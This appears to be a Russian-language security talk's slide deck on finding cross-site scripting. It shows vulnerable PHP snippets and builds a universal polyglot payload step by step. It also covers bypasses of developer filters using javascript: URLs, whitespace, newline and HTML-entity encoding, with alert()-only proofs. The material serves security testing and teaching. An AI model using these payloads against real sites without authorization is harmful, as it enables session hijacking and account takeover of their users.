XSSни свой продукт продвинутое тестирование безопасности
Программа
Нафига?
XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта
XSS - причины
XSS - методология
F12 -> Ctrl+F -> "qweqwe"
<script>alert()</script>
XSS – Level 0
"><script>alert()</script>
XSS – Level 1
"></title><script>alert()</script>
"></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)
XSS – Level 2
'"></title></script><script>alert()</script>
XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245
XSS – Level 3
'"></title></script><script>alert()</script>
'"></title></script><script>alert()</script>
'"></title></script><iframe onload='alert``'>
                                       Плюсы iframe:   1. Легко заметить, если пейлоад встраивается в страницу, но на
XSS – Level 1337
Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда
From:   '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'
XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...
Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!
+ Bonus
3.97M
Category: programmingprogramming

XSS (Cross-Site Scripting)

1. XSSни свой продукт продвинутое тестирование безопасности

XSSни свой продукт
продвинутое тестирование безопасности
Иван Румак
Занимаюсь безопасностью

2. Программа

Поговорим про XSS
Создадим универсальный пейлоад для поиска XSS
Завтра - призы и разбор заданий

3. Нафига?

4. XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте вашего сайта

XSS (Cross-Site Scripting) это когда хакер может выполнить
произвольный javascript в браузере
жертвы в контексте вашего сайта

5. XSS - причины

1. при генерации html-страницы, когда в код подтягиваются:
• любые данные из БД, ранее указанные пользователем - stored XSS
• параметры из урла/тела запроса - reflected XSS
• значения http заголовков, куки - нужен mitm или другой баг (не
сегодня)
2. при изменении страницы джаваскриптом (про это в другой
раз):
• postMessage
• InnerHTML, $().html(), document.write
• location.hash...

6. XSS - методология

1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()

7.

8.

9. F12 -> Ctrl+F -> "qweqwe"

F12 -> Ctrl+F -> "qweqwe"

10.

11.

12. <script>alert()</script>

<script>alert()</script>

13. XSS – Level 0

14.

<p>
Привет, <?php echo($_GET["name"]); ?>!
<p>
XSS: между тэгами разметки

15.

/page.php?name=<script>alert()</script>
<p>
Привет, <script>alert()</script>!
<p>
XSS: между тэгами разметки

16.

<p>
Привет, <?php $sql=…; echo($sql); ?>!
<p>
XSS: между тэгами разметки

17.

<p>
Привет, Вася<script>alert()</script>!
<p>
XSS: между тэгами разметки

18.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: внутри значения аттрибута

19.

/page.php?name="><script>alert()</script>
<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">!
</form>
XSS: внутри значения аттрибута

20. "><script>alert()</script>

"><script>alert()</script>

21. XSS – Level 1

22.

<html>
<head>
<title>Привет, <?php echo($_GET["name"]); ?></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

23.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

24.

/page.php?name="><script>alert()</script>
Сработает?
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

25.

/page.php?name="><script>alert()</script>
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов
НЕТ!

26.

/page.php?name="></title><script>alert()</script>
<html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
XSS: между специфичных тэгов

27. "></title><script>alert()</script>

"></title><script>alert()</script>

28.

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: между специфичных тэгов

29.

/page.php?name="></title><script>alert()</script>
<script>
var name=""></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

30.

/page.php?name="></script></title><script>alert()</script>
<script>
var name=""></script></title><script>alert()</script>";
</script>
XSS: между специфичных тэгов

31. "></title></script><script>alert()</script> + </style></noscript></textarea>…(по ситуации)

"></title></script><script>alert()</script>
+ </style></noscript></textarea>…(по
ситуации)

32. XSS – Level 2

33.

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">!
</form>
XSS: особенности HTML

34.

<form action='page.php' method='POST'>
<input name='name' value='<?php echo($_GET["name"]); ?>'>!
</form>
XSS: особенности HTML

35. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

36.

<form action='page.php' method='POST'>
<input name='name' value='<%..UrlParam("name").replaceAll(">","&gt;")..%>'>!
</form>
XSS: внутри значения аттрибута

37.

/page.php?name='><script>alert()</script>
<form action='page.php' method='POST'>
<input name='name' value=''&gt;<script&gt;alert()</script&gt;'>!
</form>
XSS: внутри значения аттрибута

38.

/page.php?name='%20autofocus%20onfocus='alert();
<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
(autofocus onfocus не будут работать если у инпута type=hidden)
XSS: внутри значения аттрибута

39.

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>
XSS: внутри тэга script

40.

/page.php?name=";+alert();//
<script>
var name=""; alert();//";
</script>
XSS: внутри тэга script

41.

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>
XSS: внутри ссылки

42.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

43.

/page.php?returnUrl=%20javascript:alert()
Сработает?
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

44.

/page.php?returnUrl=%20javascript:alert()
ДА!
<a href=" javascript:alert()">Вернуться</a>
XSS: внутри ссылки

45.

/page.php?returnUrl=%09javascript:alert()
<a href="
javascript:alert()">Вернуться</a>
XSS: внутри ссылки

46. XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

XSS на biz.mail.ru
Bounty – 500$
https://hackerone.com/reports/268245

47.

48.

49.

50.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
XSS: внутри ссылки

51. XSS – Level 3

52. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

53. '"></title></script><script>alert()</script>

'"></title></script><script>alert()</script>

54. '"></title></script><iframe onload='alert``'>

'"></title></script><iframe onload='alert``'>

55.

56.                                        Плюсы iframe:   1. Легко заметить, если пейлоад встраивается в страницу, но на

Плюсы iframe:
1. Легко заметить, если пейлоад встраивается в страницу, но
на onload работают санитайзеры
2. Есть волшебный аттрибут srcdoc

57.

58.

59. XSS – Level 1337

XSS – Level 1337

60. Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть кейс, когда

Пробелы между аттрибутами в тэге могут замениться слэшем
Тэг необязательно закрывать! <iframe/onload='alert()'
Есть кейс, когда пейлоад попадает между комментом <!-- -->,
нужно закрывать и его

61. From:   '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'

From:
'"></title></script><iframe onload='alert``'>
to:
'"></title/</script/</style/--><iframe/onload='alert``'

62. XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...

XSS в личных сообщениях на ...
Bounty – 3000$
https://hackerone.com/reports/...

63. Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми современными браузерами в закрытый!

Обрезали все, что подходит под паттерн "<…>"
Но незакрытый тэг нормализуется всеми современными
браузерами в закрытый!

64.

<iframe/onload='alert()'

65. + Bonus

66.

/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
Back to redirect XSS

67.

Может быть требовать формат URL:
protocol://host:port/... ?
Разработчик

68.

<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS

69.

70.

А может быть тогда просто запретить
слово javascript в урле?
Разработчик

71.

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;
&#x70;&#x74;&colon;//qwe.com/%0aalert()">Вернуться</a>
Back to redirect XSS

72.

Ну, тогда я буду требовать, чтобы
ссылка начиналась на http(s) или на /
Разработчик

73.

Вопросы?
Ваня
@Ivan_Rumak
[email protected]
kontur.ru
English     Русский Rules